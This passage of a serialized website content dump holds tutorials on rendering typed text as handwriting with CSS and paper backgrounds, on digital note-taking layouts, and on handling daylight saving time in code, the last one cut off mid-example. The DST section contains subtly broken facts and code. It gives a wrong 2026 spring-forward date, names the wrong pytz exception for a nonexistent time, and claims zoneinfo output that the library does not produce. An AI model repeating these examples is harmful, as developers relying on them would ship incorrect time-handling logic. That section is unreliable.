Offset",[16,93953,93954],{},"Real handwriting drifts up and down line by line:",[135,93956,93958],{"className":1554,"code":93957,"language":1556,"meta":141,"style":141},".handwritten-line {\n  transform: translateY(var(--line-offset));\n}\n",[143,93959,93960,93967,93986],{"__ignoreMap":141},[1560,93961,93962,93965],{"class":1562,"line":1563},[1560,93963,93964],{"class":1566},".handwritten-line",[1560,93966,1571],{"class":1570},[1560,93968,93969,93971,93973,93975,93977,93979,93981,93984],{"class":1562,"line":337},[1560,93970,1720],{"class":1576},[1560,93972,1663],{"class":1570},[1560,93974,18845],{"class":1576},[1560,93976,1688],{"class":1570},[1560,93978,2497],{"class":1576},[1560,93980,1688],{"class":1570},[1560,93982,93983],{"class":2219},"--line-offset",[1560,93985,41941],{"class":1570},[1560,93987,93988],{"class":1562,"line":343},[1560,93989,1585],{"class":1570},[16,93991,93992,93993,1856,93995,93998],{},"Keep offsets between ",[143,93994,47485],{},[143,93996,93997],{},"2px",". Larger values make the text look sloppy instead of organic.",[33,94000,94002],{"id":94001},"variable-letter-spacing","Variable Letter Spacing",[16,94004,94005],{},"Handwriting compression varies by word. Short words often appear tighter; long words spread slightly:",[135,94007,94009],{"className":1554,"code":94008,"language":1556,"meta":141,"style":141},".handwritten-word {\n  letter-spacing: var(--word-spacing);\n}\n",[143,94010,94011,94018,94034],{"__ignoreMap":141},[1560,94012,94013,94016],{"class":1562,"line":1563},[1560,94014,94015],{"class":1566},".handwritten-word",[1560,94017,1571],{"class":1570},[1560,94019,94020,94023,94025,94027,94029,94032],{"class":1562,"line":337},[1560,94021,94022],{"class":1576},"  letter-spacing",[1560,94024,1663],{"class":1570},[1560,94026,2497],{"class":1576},[1560,94028,1688],{"class":1570},[1560,94030,94031],{"class":2219},"--word-spacing",[1560,94033,1744],{"class":1570},[1560,94035,94036],{"class":1562,"line":343},[1560,94037,1585],{"class":1570},[16,94039,94040,94041,5255,94044,94047],{},"A range of ",[143,94042,94043],{},"-0.02em",[143,94045,94046],{},"0.04em"," is subtle enough to feel natural without creating overlaps.",[33,94049,94051],{"id":94050},"putting-it-together","Putting It Together",[16,94053,94054],{},"The key constraint: randomness must be deterministic per render. If transforms re-randomize on every paint, the text will jitter. Generate the values once and store them as inline CSS custom properties or data attributes during the initial render cycle.",[11,94056,94058],{"id":94057},"layer-3-paper-backgrounds","Layer 3: Paper Backgrounds",[16,94060,94061],{},"A handwriting font floating on a white rectangle still looks digital. Paper textures anchor the text in a physical world.",[33,94063,94065],{"id":94064},"common-paper-styles","Common Paper Styles",[193,94067,94068,94078],{},[196,94069,94070],{},[199,94071,94072,94074,94076],{},[202,94073,9085],{},[202,94075,207],{},[202,94077,489],{},[211,94079,94080,94091,94101,94112],{},[199,94081,94082,94085,94088],{},[216,94083,94084],{},"Lined",[216,94086,94087],{},"Horizontal blue lines with a red margin",[216,94089,94090],{},"School notes, journal entries",[199,94092,94093,94095,94098],{},[216,94094,65902],{},[216,94096,94097],{},"Even square cells in light blue or gray",[216,94099,94100],{},"Math work, engineering notes",[199,94102,94103,94106,94109],{},[216,94104,94105],{},"Dotted",[216,94107,94108],{},"Subtle dot grid",[216,94110,94111],{},"Bullet journals, clean layouts",[199,94113,94114,94117,94120],{},[216,94115,94116],{},"Blank",[216,94118,94119],{},"Plain off-white with subtle texture",[216,94121,94122],{},"Letters, creative writing",[33,94124,94126],{"id":94125},"css-implementation","CSS Implementation",[16,94128,94129],{},"For lined paper, use repeating linear gradients:",[135,94131,94133],{"className":1554,"code":94132,"language":1556,"meta":141,"style":141},".paper-lined {\n  background-color: #fafafa;\n  background-image:\n    repeating-linear-gradient(\n      transparent,\n      transparent 27px,\n      #c8d8e8 27px,\n      #c8d8e8 28px\n    );\n}\n",[143,94134,94135,94142,94153,94159,94166,94173,94184,94195,94203,94208],{"__ignoreMap":141},[1560,94136,94137,94140],{"class":1562,"line":1563},[1560,94138,94139],{"class":1566},".paper-lined",[1560,94141,1571],{"class":1570},[1560,94143,94144,94146,94148,94151],{"class":1562,"line":337},[1560,94145,2492],{"class":1576},[1560,94147,1663],{"class":1570},[1560,94149,94150],{"class":1576},"#fafafa",[1560,94152,2228],{"class":1570},[1560,94154,94155,94157],{"class":1562,"line":343},[1560,94156,11305],{"class":1576},[1560,94158,19182],{"class":1570},[1560,94160,94161,94164],{"class":1562,"line":365},[1560,94162,94163],{"class":1576},"    repeating-linear-gradient",[1560,94165,35957],{"class":1570},[1560,94167,94168,94171],{"class":1562,"line":889},[1560,94169,94170],{"class":1576},"      transparent",[1560,94172,11943],{"class":1570},[1560,94174,94175,94177,94180,94182],{"class":1562,"line":1710},[1560,94176,94170],{"class":1576},[1560,94178,94179],{"class":1576}," 27",[1560,94181,1670],{"class":1669},[1560,94183,11943],{"class":1570},[1560,94185,94186,94189,94191,94193],{"class":1562,"line":1717},[1560,94187,94188],{"class":1576},"      #c8d8e8",[1560,94190,94179],{"class":1576},[1560,94192,1670],{"class":1669},[1560,94194,11943],{"class":1570},[1560,94196,94197,94199,94201],{"class":1562,"line":1747},[1560,94198,94188],{"class":1576},[1560,94200,70808],{"class":1576},[1560,94202,60846],{"class":1669},[1560,94204,94205],{"class":1562,"line":2507},[1560,94206,94207],{"class":1570},"    );\n",[1560,94209,94210],{"class":1562,"line":2524},[1560,94211,1585],{"class":1570},[16,94213,94214,94215,94218],{},"Adjust the ",[143,94216,94217],{},"27px"," value to match your line height. The horizontal lines should sit slightly below the text baseline, just like real ruled paper.",[16,94220,94221],{},"For a red margin line:",[135,94223,94225],{"className":1554,"code":94224,"language":1556,"meta":141,"style":141},".paper-lined::before {\n  content: '';\n  position: absolute;\n  left: 60px;\n  top: 0;\n  bottom: 0;\n  width: 2px;\n  background: #e8a0a0;\n}\n",[143,94226,94227,94234,94244,94254,94266,94276,94286,94298,94309],{"__ignoreMap":141},[1560,94228,94229,94232],{"class":1562,"line":1563},[1560,94230,94231],{"class":1566},".paper-lined::before",[1560,94233,1571],{"class":1570},[1560,94235,94236,94238,94240,94242],{"class":1562,"line":337},[1560,94237,5629],{"class":1576},[1560,94239,1663],{"class":1570},[1560,94241,5635],{"class":5634},[1560,94243,2228],{"class":1570},[1560,94245,94246,94248,94250,94252],{"class":1562,"line":343},[1560,94247,5642],{"class":1576},[1560,94249,1663],{"class":1570},[1560,94251,5647],{"class":1576},[1560,94253,2228],{"class":1570},[1560,94255,94256,94258,94260,94262,94264],{"class":1562,"line":365},[1560,94257,66384],{"class":1576},[1560,94259,1663],{"class":1570},[1560,94261,18333],{"class":1576},[1560,94263,1670],{"class":1669},[1560,94265,2228],{"class":1570},[1560,94267,94268,94270,94272,94274],{"class":1562,"line":889},[1560,94269,46848],{"class":1576},[1560,94271,1663],{"class":1570},[1560,94273,5285],{"class":1576},[1560,94275,2228],{"class":1570},[1560,94277,94278,94280,94282,94284],{"class":1562,"line":1710},[1560,94279,66371],{"class":1576},[1560,94281,1663],{"class":1570},[1560,94283,5285],{"class":1576},[1560,94285,2228],{"class":1570},[1560,94287,94288,94290,94292,94294,94296],{"class":1562,"line":1717},[1560,94289,12386],{"class":1576},[1560,94291,1663],{"class":1570},[1560,94293,10099],{"class":1576},[1560,94295,1670],{"class":1669},[1560,94297,2228],{"class":1570},[1560,94299,94300,94302,94304,94307],{"class":1562,"line":1747},[1560,94301,5665],{"class":1576},[1560,94303,1663],{"class":1570},[1560,94305,94306],{"class":1576},"#e8a0a0",[1560,94308,2228],{"class":1570},[1560,94310,94311],{"class":1562,"line":2507},[1560,94312,1585],{"class":1570},[16,94314,94315],{},"Grid paper uses two overlapping gradients — one horizontal, one vertical — with the same spacing.",[33,94317,94319],{"id":94318},"texture-overlays","Texture Overlays",[16,94321,94322,94323,94326],{},"A subtle noise texture on top of the paper color adds realism without distracting from the text. Use a semi-transparent PNG tile or an SVG filter with ",[143,94324,94325],{},"feTurbulence",". Keep the opacity under 5% — enough to break the flat digital surface, not enough to notice consciously.",[11,94328,94330],{"id":94329},"exporting-as-an-image","Exporting as an Image",[16,94332,94333],{},"Once your handwriting renders on screen, you will likely want to save it. Here are the main approaches:",[33,94335,94337],{"id":94336},"html-canvas-export","HTML Canvas Export",[16,94339,1388,94340,94343],{},[143,94341,94342],{},"html2canvas"," or a similar library to capture the DOM element as a PNG. This approach preserves your CSS transforms and backgrounds exactly as rendered.",[16,94345,94346],{},"Steps:",[77,94348,94349,94352,94359],{},[44,94350,94351],{},"Render the text with all three layers applied",[44,94353,94354,94355,94358],{},"Call ",[143,94356,94357],{},"html2canvas(element, { scale: 2 })"," for retina-quality output",[44,94360,94361],{},"Convert the canvas to a blob and trigger a download",[16,94363,1943,94364,94367],{},[143,94365,94366],{},"scale: 2"," for crisp results — default 1x captures look blurry on high-DPI screens.",[33,94369,94371],{"id":94370},"svg-export","SVG Export",[16,94373,94374],{},"If your layout is simple (no complex backgrounds), serialize the DOM to SVG using foreignObject. This gives you a scalable vector file. The downside: font embedding is fragile across viewers.",[33,94376,94378],{"id":94377},"server-side-rendering","Server-Side Rendering",[16,94380,94381],{},"For batch generation or API use, headless Chrome via Puppeteer can render the page and screenshot it. This handles any CSS complexity but requires a server.",[33,94383,94385],{"id":94384},"best-practices-for-export","Best Practices for Export",[41,94387,94388,94391,94394,94397],{},[44,94389,94390],{},"Export at 2x resolution for sharp results on retina displays",[44,94392,94393],{},"Use PNG format — JPEG compression artifacts look terrible on thin handwriting strokes",[44,94395,94396],{},"Set explicit dimensions on the container to avoid clipping",[44,94398,94399],{},"Test the exported image at actual print size if you plan to print",[11,94401,1355],{"id":1354},[41,94403,94404,94407,94410,94413,94416],{},[44,94405,94406],{},"Convincing digital handwriting requires three layers: font, micro-transformations, and paper background",[44,94408,94409],{},"CSS transforms add organic variation — keep rotations under 3 degrees and offsets under 2px",[44,94411,94412],{},"Paper backgrounds ground the text; use CSS gradients for ruled lines, grid, or dots",[44,94414,94415],{},"Generate random transform values once per render to prevent jitter on repaints",[44,94417,94418],{},"Export at 2x resolution in PNG format for sharp, print-ready results",[11,94420,286],{"id":285},[16,94422,94423],{},"Ready to turn your text into handwriting? Our free tool handles all three layers for you — pick a font, choose a paper style, and download the result as an image in seconds.",[16,94425,94426],{},[98,94427,94428],{"href":40899},[47,94429,40902],{},[11,94431,321],{"id":320},[41,94433,94434,94438],{},[44,94435,94436],{},[98,94437,40912],{"href":40911},[44,94439,94440],{},[98,94441,40429],{"href":40941},[2043,94443,94444],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":94446},[94447,94448,94449,94455,94460,94466,94467,94468],{"id":93792,"depth":337,"text":93793},{"id":93846,"depth":337,"text":93847},{"id":93879,"depth":337,"text":93880,"children":94450},[94451,94452,94453,94454],{"id":93886,"depth":343,"text":93887},{"id":93950,"depth":343,"text":93951},{"id":94001,"depth":343,"text":94002},{"id":94050,"depth":343,"text":94051},{"id":94057,"depth":337,"text":94058,"children":94456},[94457,94458,94459],{"id":94064,"depth":343,"text":94065},{"id":94125,"depth":343,"text":94126},{"id":94318,"depth":343,"text":94319},{"id":94329,"depth":337,"text":94330,"children":94461},[94462,94463,94464,94465],{"id":94336,"depth":343,"text":94337},{"id":94370,"depth":343,"text":94371},{"id":94377,"depth":343,"text":94378},{"id":94384,"depth":343,"text":94385},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Techniques for converting typed text into convincing handwriting with fonts, CSS effects, and paper backgrounds.",{"keywords":94471},[40525,94472],"digital-handwriting-guide",{"title":40918,"description":94469},"guides\u002Fdigital-handwriting-guide","ceUgmV5bx06VDoc36I0X7gDMrp-fLo8e7jy9jixGCPg",{"id":94477,"title":94478,"body":94479,"date":2070,"description":94805,"extension":361,"meta":94806,"navigation":363,"path":94807,"readingTime":1710,"seo":94808,"stem":94809,"__hash__":94810},"guides\u002Fguides\u002Fdigital-note-taking-styles.md","Digital Note-Taking Style Guide",{"type":8,"value":94480,"toc":94787},[94481,94484,94488,94491,94495,94543,94546,94550,94553,94573,94576,94580,94583,94585,94642,94645,94649,94652,94656,94660,94663,94669,94689,94692,94696,94699,94705,94708,94712,94715,94719,94722,94760,94762,94779,94781],[16,94482,94483],{},"Digital note-taking has evolved beyond plain text files. Modern tools let you combine handwriting-style fonts, ruled paper backgrounds, and structured layouts to create notes that feel as natural as pen on paper while benefiting from searchability and sharing. Choosing the right combination of font, paper style, and layout makes the difference between notes you revisit and notes you abandon.",[11,94485,94487],{"id":94486},"choosing-a-handwriting-font","Choosing a Handwriting Font",[16,94489,94490],{},"The font you choose sets the tone for your notes and directly affects how quickly you can scan them later.",[33,94492,94494],{"id":94493},"print-vs-cursive-styles","Print vs. Cursive Styles",[193,94496,94497,94508],{},[196,94498,94499],{},[199,94500,94501,94503,94506],{},[202,94502,9085],{},[202,94504,94505],{},"Characteristics",[202,94507,489],{},[211,94509,94510,94521,94532],{},[199,94511,94512,94515,94518],{},[216,94513,94514],{},"Casual print",[216,94516,94517],{},"Clear letters, no connections",[216,94519,94520],{},"Technical notes, code annotations",[199,94522,94523,94526,94529],{},[216,94524,94525],{},"Neat cursive",[216,94527,94528],{},"Connected letters, moderate slant",[216,94530,94531],{},"Lecture notes, journaling",[199,94533,94534,94537,94540],{},[216,94535,94536],{},"Decorative",[216,94538,94539],{},"Varied baseline, creative flair",[216,94541,94542],{},"Creative writing, personal reflections",[16,94544,94545],{},"For study notes, a casual print style like Caveat or Patrick Hand gives you the personal feel of handwriting without sacrificing scanability. Save cursive and decorative styles for headings or accent text.",[33,94547,94549],{"id":94548},"size-and-weight","Size and Weight",[16,94551,94552],{},"At screen resolution, handwriting fonts need slightly larger sizing than standard sans-serif fonts to remain legible:",[41,94554,94555,94561,94567],{},[44,94556,94557,94560],{},[47,94558,94559],{},"Body text:"," 18–22px for casual print, 20–24px for cursive",[44,94562,94563,94566],{},[47,94564,94565],{},"Headings:"," 28–36px for section titles",[44,94568,94569,94572],{},[47,94570,94571],{},"Annotations:"," 14–16px for margin notes and footnotes",[16,94574,94575],{},"Heavier font weights (500–600) improve readability on screens compared to thin styles (300), which can appear washed out at smaller sizes.",[11,94577,94579],{"id":94578},"paper-style-and-background","Paper Style and Background",[16,94581,94582],{},"The background you choose subtly guides how your notes are organized and perceived.",[33,94584,94065],{"id":94064},[193,94586,94587,94599],{},[196,94588,94589],{},[199,94590,94591,94593,94596],{},[202,94592,9085],{},[202,94594,94595],{},"Visual Cue",[202,94597,94598],{},"Effect on Reading",[211,94600,94601,94611,94621,94632],{},[199,94602,94603,94605,94608],{},[216,94604,94084],{},[216,94606,94607],{},"Horizontal rules",[216,94609,94610],{},"Encourages straight writing, easy line tracking",[199,94612,94613,94615,94618],{},[216,94614,65902],{},[216,94616,94617],{},"Square cells",[216,94619,94620],{},"Supports diagrams, tables, proportional spacing",[199,94622,94623,94626,94629],{},[216,94624,94625],{},"Dot grid",[216,94627,94628],{},"Subtle dots at intersections",[216,94630,94631],{},"Flexible — works for both text and sketches",[199,94633,94634,94636,94639],{},[216,94635,94116],{},[216,94637,94638],{},"No guides",[216,94640,94641],{},"Maximum freedom, best for sketches and mind maps",[16,94643,94644],{},"Dot grid has become the default choice for digital note-taking because it provides just enough structure without visual clutter. The dots serve as alignment hints for both text and drawings but disappear when you read the page.",[33,94646,94648],{"id":94647},"color-temperature","Color Temperature",[16,94650,94651],{},"Warm-toned backgrounds (cream, off-white #FFF8E7) reduce eye strain during long study sessions compared to pure white (#FFFFFF). For dark-mode notes, use a muted warm gray (#2A2A28) rather than pure black to maintain the paper-like feel.",[11,94653,94655],{"id":94654},"layout-strategies","Layout Strategies",[33,94657,94659],{"id":94658},"cornell-method","Cornell Method",[16,94661,94662],{},"The Cornell layout divides the page into three zones:",[135,94664,94667],{"className":94665,"code":94666,"language":140},[138],"+-------------------+------------+\n|                   |            |\n|   Cues\u002FQuestions  |   Notes    |\n|                   |            |\n+-------------------+------------+\n|                                |\n|          Summary               |\n|                                |\n+--------------------------------+\n",[143,94668,94666],{"__ignoreMap":141},[41,94670,94671,94677,94683],{},[44,94672,94673,94676],{},[47,94674,94675],{},"Notes column (right, 70%):"," Main content during the lecture or reading",[44,94678,94679,94682],{},[47,94680,94681],{},"Cues column (left, 30%):"," Keywords, questions, prompts — filled during review",[44,94684,94685,94688],{},[47,94686,94687],{},"Summary (bottom):"," 2–3 sentence synthesis — filled after the session",[16,94690,94691],{},"This structure forces active recall during review, making it one of the most effective layouts for academic note-taking.",[33,94693,94695],{"id":94694},"split-page-for-code-notes","Split-Page for Code Notes",[16,94697,94698],{},"When taking notes that mix explanations with code:",[135,94700,94703],{"className":94701,"code":94702,"language":140},[138],"+-------------------+------------+\n|                   |            |\n|   Explanation     |   Code     |\n|   & Diagram       |   Snippet  |\n|                   |            |\n+-------------------+------------+\n",[143,94704,94702],{"__ignoreMap":141},[16,94706,94707],{},"Use a monospace font for the code column and your handwriting font for the explanation column. The contrast between typefaces makes each section immediately identifiable.",[33,94709,94711],{"id":94710},"mind-map-layout","Mind Map Layout",[16,94713,94714],{},"For brainstorming and conceptual connections, start with a central topic and branch outward. Use a blank or dot-grid background, and set key terms in larger handwritten text. Connect concepts with simple lines — the spatial relationships reinforce memory better than linear text.",[11,94716,94718],{"id":94717},"organizing-for-retrieval","Organizing for Retrieval",[16,94720,94721],{},"Digital notes are only useful if you can find them. Apply these organizational habits regardless of your layout:",[41,94723,94724,94730,94748,94754],{},[44,94725,94726,94729],{},[47,94727,94728],{},"Date every page"," in the top-right corner for chronological sorting",[44,94731,94732,94735,94736,94739,94740,94743,94744,94747],{},[47,94733,94734],{},"Use consistent tags"," — prefix sections with identifiers like ",[143,94737,94738],{},"[DEF]"," for definitions, ",[143,94741,94742],{},"[EX]"," for examples, ",[143,94745,94746],{},"[Q]"," for open questions",[44,94749,94750,94753],{},[47,94751,94752],{},"Write a one-line summary"," at the top of each note for quick scanning",[44,94755,94756,94759],{},[47,94757,94758],{},"Number pages"," in multi-page notes so you can reorder them later",[11,94761,1355],{"id":1354},[41,94763,94764,94767,94770,94773,94776],{},[44,94765,94766],{},"Casual print handwriting fonts balance personality with legibility for study notes.",[44,94768,94769],{},"Dot-grid backgrounds offer flexibility for both handwritten text and diagrams.",[44,94771,94772],{},"The Cornell method is the most research-backed layout for academic note-taking.",[44,94774,94775],{},"Warm-toned backgrounds reduce eye strain during extended reading sessions.",[44,94777,94778],{},"Consistent tagging and dating make digital handwritten notes searchable and retrievable.",[11,94780,286],{"id":285},[16,94782,94783,94784,94786],{},"Create your own styled digital notes with the ",[98,94785,40461],{"href":40899}," tool. Choose from multiple handwriting fonts, paper styles, and ink colors to build notes that match your study workflow.",{"title":141,"searchDepth":337,"depth":337,"links":94788},[94789,94793,94797,94802,94803,94804],{"id":94486,"depth":337,"text":94487,"children":94790},[94791,94792],{"id":94493,"depth":343,"text":94494},{"id":94548,"depth":343,"text":94549},{"id":94578,"depth":337,"text":94579,"children":94794},[94795,94796],{"id":94064,"depth":343,"text":94065},{"id":94647,"depth":343,"text":94648},{"id":94654,"depth":337,"text":94655,"children":94798},[94799,94800,94801],{"id":94658,"depth":343,"text":94659},{"id":94694,"depth":343,"text":94695},{"id":94710,"depth":343,"text":94711},{"id":94717,"depth":337,"text":94718},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Choose fonts, paper styles, and layouts for digital handwritten notes and study aids.",{"immutable":363},"\u002Fguides\u002Fdigital-note-taking-styles",{"title":94478,"description":94805},"guides\u002Fdigital-note-taking-styles","CanqnHCL_H3FejjT2lXvRvmwx9g2CltPNhQBUFNN9JQ",{"id":94812,"title":94813,"body":94814,"date":2070,"description":95254,"extension":361,"meta":95255,"navigation":363,"path":95256,"readingTime":1710,"seo":95257,"stem":95258,"__hash__":95259},"guides\u002Fguides\u002Fdst-transition-handling.md","Handling Daylight Saving Time Transitions",{"type":8,"value":94815,"toc":95239},[94816,94819,94823,94827,94830,94869,94873,94880,94905,94909,94913,94916,94994,94997,95001,95004,95028,95066,95070,95073,95102,95106,95183,95187,95190,95204,95207,95209,95226,95228,95236],[16,94817,94818],{},"Twice a year, many regions shift their clocks for daylight saving time (DST). These transitions create two recurring headaches for developers: a missing hour in spring and a repeated hour in fall. Both situations break assumptions that time moves forward at a constant rate, and both cause real bugs — missed scheduled jobs, duplicate log entries, incorrect billing intervals, and broken time-range queries.",[11,94820,94822],{"id":94821},"the-two-transition-problems","The Two Transition Problems",[33,94824,94826],{"id":94825},"spring-forward-the-missing-hour","Spring Forward: The Missing Hour",[16,94828,94829],{},"When clocks jump from 2:00 AM to 3:00 AM, the hour between 2:00 and 3:00 never exists. A scheduled task set for 2:30 AM simply does not run.",[135,94831,94833],{"className":8259,"code":94832,"language":8261,"meta":141,"style":141},"from datetime import datetime\nimport pytz\n\neastern = pytz.timezone('US\u002FEastern')\n# March 12, 2026 — spring forward\nt = eastern.localize(datetime(2026, 3, 12, 2, 30), is_dst=None)\n# AmbiguousTimeError: 2:30 AM does not exist\n",[143,94834,94835,94840,94845,94849,94854,94859,94864],{"__ignoreMap":141},[1560,94836,94837],{"class":1562,"line":1563},[1560,94838,94839],{},"from datetime import datetime\n",[1560,94841,94842],{"class":1562,"line":337},[1560,94843,94844],{},"import pytz\n",[1560,94846,94847],{"class":1562,"line":343},[1560,94848,1702],{"emptyLinePlaceholder":363},[1560,94850,94851],{"class":1562,"line":365},[1560,94852,94853],{},"eastern = pytz.timezone('US\u002FEastern')\n",[1560,94855,94856],{"class":1562,"line":889},[1560,94857,94858],{},"# March 12, 2026 — spring forward\n",[1560,94860,94861],{"class":1562,"line":1710},[1560,94862,94863],{},"t = eastern.localize(datetime(2026, 3, 12, 2, 30), is_dst=None)\n",[1560,94865,94866],{"class":1562,"line":1717},[1560,94867,94868],{},"# AmbiguousTimeError: 2:30 AM does not exist\n",[33,94870,94872],{"id":94871},"fall-back-the-repeated-hour","Fall Back: The Repeated Hour",[16,94874,94875,94876,94879],{},"When clocks fall from 2:00 AM back to 1:00 AM, the hour between 1:00 and 2:00 occurs twice. Without disambiguation, a timestamp like ",[143,94877,94878],{},"2026-11-01 01:30:00"," is ambiguous — is it the first occurrence (EDT) or the second (EST)?",[135,94881,94883],{"className":8259,"code":94882,"language":8261,"meta":141,"style":141},"# November 1, 2026 — fall back\nt1 = eastern.localize(datetime(2026, 11, 1, 1, 30), is_dst=True)   # EDT\nt2 = eastern.localize(datetime(2026, 11, 1, 1, 30), is_dst=False)  # EST\n# t1 and t2 are 1 hour apart in UTC, but display the same local time\n",[143,94884,94885,94890,94895,94900],{"__ignoreMap":141},[1560,94886,94887],{"class":1562,"line":1563},[1560,94888,94889],{},"# November 1, 2026 — fall back\n",[1560,94891,94892],{"class":1562,"line":337},[1560,94893,94894],{},"t1 = eastern.localize(datetime(2026, 11, 1, 1, 30), is_dst=True)   # EDT\n",[1560,94896,94897],{"class":1562,"line":343},[1560,94898,94899],{},"t2 = eastern.localize(datetime(2026, 11, 1, 1, 30), is_dst=False)  # EST\n",[1560,94901,94902],{"class":1562,"line":365},[1560,94903,94904],{},"# t1 and t2 are 1 hour apart in UTC, but display the same local time\n",[11,94906,94908],{"id":94907},"strategies-for-handling-transitions","Strategies for Handling Transitions",[33,94910,94912],{"id":94911},"store-utc-display-local","Store UTC, Display Local",[16,94914,94915],{},"The single most effective strategy: always store and compute timestamps in UTC. UTC has no DST transitions — it is a continuous, monotonically increasing timeline. Convert to local time only at the display layer.",[135,94917,94919],{"className":1607,"code":94918,"language":1609,"meta":141,"style":141},"\u002F\u002F Store in UTC\nconst utcTimestamp = new Date().toISOString(); \u002F\u002F \"2026-05-28T14:30:00.000Z\"\n\n\u002F\u002F Display in local timezone\nconst localString = new Date(utcTimestamp).toLocaleString('en-US', {\n  timeZone: 'America\u002FNew_York'\n});\n",[143,94920,94921,94926,94948,94952,94957,94982,94990],{"__ignoreMap":141},[1560,94922,94923],{"class":1562,"line":1563},[1560,94924,94925],{"class":1649},"\u002F\u002F Store in UTC\n",[1560,94927,94928,94930,94933,94935,94937,94939,94941,94943,94945],{"class":1562,"line":337},[1560,94929,8180],{"class":1669},[1560,94931,94932],{"class":1576}," utcTimestamp",[1560,94934,8186],{"class":1669},[1560,94936,11489],{"class":1669},[1560,94938,87644],{"class":1566},[1560,94940,42138],{"class":1570},[1560,94942,90155],{"class":1566},[1560,94944,34220],{"class":1570},[1560,94946,94947],{"class":1649},"\u002F\u002F \"2026-05-28T14:30:00.000Z\"\n",[1560,94949,94950],{"class":1562,"line":343},[1560,94951,1702],{"emptyLinePlaceholder":363},[1560,94953,94954],{"class":1562,"line":365},[1560,94955,94956],{"class":1649},"\u002F\u002F Display in local timezone\n",[1560,94958,94959,94961,94964,94966,94968,94970,94973,94976,94978,94980],{"class":1562,"line":889},[1560,94960,8180],{"class":1669},[1560,94962,94963],{"class":1576}," localString",[1560,94965,8186],{"class":1669},[1560,94967,11489],{"class":1669},[1560,94969,87644],{"class":1566},[1560,94971,94972],{"class":1570},"(utcTimestamp).",[1560,94974,94975],{"class":1566},"toLocaleString",[1560,94977,1688],{"class":1570},[1560,94979,89294],{"class":5634},[1560,94981,49495],{"class":1570},[1560,94983,94984,94987],{"class":1562,"line":1710},[1560,94985,94986],{"class":1570},"  timeZone: ",[1560,94988,94989],{"class":5634},"'America\u002FNew_York'\n",[1560,94991,94992],{"class":1562,"line":1717},[1560,94993,11809],{"class":1570},[16,94995,94996],{},"This eliminates the ambiguous-timestamp problem entirely. If someone asks \"what happened at 1:30 AM on November 1?\" you answer by querying UTC ranges, not local strings.",[33,94998,95000],{"id":94999},"handle-scheduling-with-utc-or-dst-aware-libraries","Handle Scheduling with UTC or DST-Aware Libraries",[16,95002,95003],{},"For scheduled jobs, do not use local-time cron expressions if your system runs in a DST-affected timezone. Instead:",[41,95005,95006,95013],{},[44,95007,95008,95009,95012],{},"Schedule in UTC (",[143,95010,95011],{},"0 7 * * *"," for 7:00 AM UTC, every day)",[44,95014,95015,95016,95019,95020,95023,95024,95027],{},"Or use a DST-aware scheduler (like ",[143,95017,95018],{},"java-time","'s ",[143,95021,95022],{},"ZonedDateTime"," in Java or Python's ",[143,95025,95026],{},"zoneinfo",") that adjusts execution time automatically",[135,95029,95031],{"className":8259,"code":95030,"language":8261,"meta":141,"style":141},"from zoneinfo import ZoneInfo\nfrom datetime import datetime\n\ntz = ZoneInfo('US\u002FEastern')\n# This correctly handles spring forward — job runs at 3:00 AM EDT\nnext_run = datetime(2026, 3, 12, 2, 30, tzinfo=tz)\nprint(next_run)  # 2026-03-12 03:30:00-04:00 (skipped to 3:30 AM EDT)\n",[143,95032,95033,95038,95042,95046,95051,95056,95061],{"__ignoreMap":141},[1560,95034,95035],{"class":1562,"line":1563},[1560,95036,95037],{},"from zoneinfo import ZoneInfo\n",[1560,95039,95040],{"class":1562,"line":337},[1560,95041,94839],{},[1560,95043,95044],{"class":1562,"line":343},[1560,95045,1702],{"emptyLinePlaceholder":363},[1560,95047,95048],{"class":1562,"line":365},[1560,95049,95050],{},"tz = ZoneInfo('US\u002FEastern')\n",[1560,95052,95053],{"class":1562,"line":889},[1560,95054,95055],{},"# This correctly handles spring forward — job runs at 3:00 AM EDT\n",[1560,95057,95058],{"class":1562,"line":1710},[1560,95059,95060],{},"next_run = datetime(2026, 3, 12, 2, 30, tzinfo=tz)\n",[1560,95062,95063],{"class":1562,"line":1717},[1560,95064,95065],{},"print(next_run)  # 2026-03-12 03:30:00-04:00 (skipped to 3:30 AM EDT)\n",[33,95067,95069],{"id":95068},"use-interval-arithmetic-not-wall-clock-differences","Use Interval Arithmetic, Not Wall-Clock Differences",[16,95071,95072],{},"When calculating the duration between two events, never subtract local timestamps. DST transitions make wall-clock differences incorrect.",[135,95074,95076],{"className":8259,"code":95075,"language":8261,"meta":141,"style":141},"# Wrong: subtracts local times (misses the spring-forward gap)\nduration = local_end - local_start  # May be off by 1 hour\n\n# Right: subtract UTC times or use aware datetimes\nduration = utc_end - utc_start  # Always correct\n",[143,95077,95078,95083,95088,95092,95097],{"__ignoreMap":141},[1560,95079,95080],{"class":1562,"line":1563},[1560,95081,95082],{},"# Wrong: subtracts local times (misses the spring-forward gap)\n",[1560,95084,95085],{"class":1562,"line":337},[1560,95086,95087],{},"duration = local_end - local_start  # May be off by 1 